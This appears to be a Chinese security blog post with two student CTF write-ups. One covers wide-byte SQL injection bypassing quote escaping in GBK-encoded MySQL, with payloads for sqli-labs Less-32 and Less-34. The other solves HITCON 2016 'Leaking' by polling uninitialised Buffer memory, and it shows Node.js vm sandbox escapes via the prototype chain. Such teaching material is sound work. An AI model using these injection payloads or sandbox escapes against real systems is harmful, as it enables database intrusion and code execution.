vlambda博客
学习文章列表

SQL的宽字节注入&&[HITCON 2016]Leaking

SQL的宽字节注入

作者:2021级Y0uNgY

前言

sql注入中最关键的一步就是将引号进行闭合,而常见的addslashes()函数、mysql_escape_string函数、get_magic_quotes_gpc()函数、mysql_real_escape_string()函数的使用将引号进行了转义,这时我们要绕过这些函数进行注入,宽字节注入就是其中一种方法。

何时能进行宽字节注入

1.mysql数据库使用GBK编码2.对引号进行了转义(加)SQL的宽字节注入&&[HITCON 2016]Leaking特殊情况:1.数据库使用了安全的编码模式

2.使用了iconv() 函数进行一些特殊的编码转换(utf-8-->utf-16,GBK-->utf-8等)

宽字节注入原理

在数据库设置mysql_set_charset(“gbk”)即使用GBK编码时,输入字符的ASCII码大于128(到达汉字的范围)会将这个字符以及后面的一个字符当作一个汉字去识别。在转义 ' 时,通常是将其转换为',url编码后为%5c%27,我们如果要绕过,就得把\过滤掉。常用的方法就是在%5c%27之前加%df,由于%df的ASCII码为223,数据库会将%df%5c当成一个汉字“連”,%27成功逃逸。(其中%df可以换成ASCII码大于128的字符)

特殊情况中,iconv()函数解析错误导致在编码转换时\被吃掉。

例子

sqlilabs中less32-37都可以使用宽字节注入进行绕过

Less-32

payload:
http://localhost/sqli-labs-master/Less-32/?id=-1%df%27union%20select%201,database(),user()--+

SQL的宽字节注入&&[HITCON 2016]Leaking由下方hint和hex可知%df%5c被当成一个汉字�去处理了,从而引号逃逸。

Less-34

payload:
uname=-1%df' union select 1,2#&passwd=admin&submit=Submit
SQL的宽字节注入&&[HITCON 2016]Leaking
在这里插入图片描述

与get不同的是,post传参时数据不会经过urlencode,所以我们要写成%df'形式。

特殊情况

在sqlilabs Less-32文件中找到mysql_query("SET NAMES gbk");修改为mysql_query("SET NAMES utf8");使用utf-8进行编码时不会产生宽字节注入,

再添加iconv函数将gbk转换成utf-8的话才会产生宽字节注入。SQL的宽字节注入&&[HITCON 2016]Leaking

[HITCON 2016]Leaking

作者:2021级Livvm

原题目来自HITCON 2016题目如下

SQL的宽字节注入&&[HITCON 2016]Leaking

由于我还是个小白,经过漫长的翻查php手册和查阅一些大佬的博客得知这是一题是关于Node.js沙盒逃逸的。其中var { VM } = require(“vm2”);是Node.js有关沙盒的代码。在查阅大佬文章得知:在较早一点的 node 版本中 (8.0 之前),当 Buffer 的构造函数传入数字时, 会得到与数字长度一致的一个 Buffer,并且这个 Buffer 是未清零的。8.0 之后的版本可以通过另一个函数 Buffer.allocUnsafe(size) 来获得未清空的内存。然后通过脚本,找到内存泄漏时执行的eval()函数,得到flag。

import requests
import time
url = 'http://your ip:port/?data=Buffer(500)'
response = ''
while 'flag' not in response:
        req = requests.get(url)
        response = req.text
        print(req.status_code)
        time.sleep(0.1)
        if 'flag{' in response:
            print(response)
            break


在这里插入图片描述

浅谈Node.js沙盒逃逸

VM简介在一些日常开发中有时候为了追求灵活性或降低开发难度,会在业务代码里直接使用 eval/Function/vm 等功能,其中 eval/Function 算是动态执行 JS,却无法屏蔽当前执行环境的上下文,但 node.js 里提供了 vm 模块,相当于一个虚拟机,可以让你在执行代码时候隔离当前的执行环境,避免被恶意代码攻击。

官方文档原话:一个常见的用例是在不同的 V8 上下文中运行代码。这意味着被调用的代码与调用的代码具有不同的全局对象。可以通过使对象上下文隔离化来提供上下文。被调用的代码将上下文中的任何属性都视为全局变量。由调用的代码引起的对全局变量的任何更改都将会反映在上下文对象中。

逃逸原理苦于我还是初学者,对于js的代码不是特别了解,于是到网上找到一段逃逸示例的讲解:

const vm = require("vm");
const ctx = {};
vm.runInNewContext(
    'this.constructor.constructor("return process")().exit()',
    ctx
);
console.log("Never gets executed.");


以上代码示例中的this指向ctx并通过原型链的形式拿到沙盒外的Funtion实现逃逸,并执行逃逸后的JS代码。JS 里所有对象的原型链都会指向Object.prototype,且Object.prototype和Function之间是相互指向的,所有对象通过原型链都能拿到Function,最终完成沙盒逃逸并执行代码。逃逸后代码能够执行如下代码拿到 require,从而并加载其余模块性能

const vm = require("vm");
const ctx = {
    console,
};
vm.runInNewContext(
    `
    var exec = this.constructor.constructor;
    var require = exec('return process.mainModule.constructor._load')();
    console.log(require('fs'));
`
,
    ctx
);

沙盒执行上下文是隔离的,但可通过原型链的形式获取到沙盒外的 Function,从而实现逃逸,拿到全局数据。参考文章来源:

node.js 沙盒逃逸分析

https://juejin.cn/post/6889226643525599240

xctf攻防世界Leaking wp

https://blog.csdn.net/weixin_46676743/article/details/112669105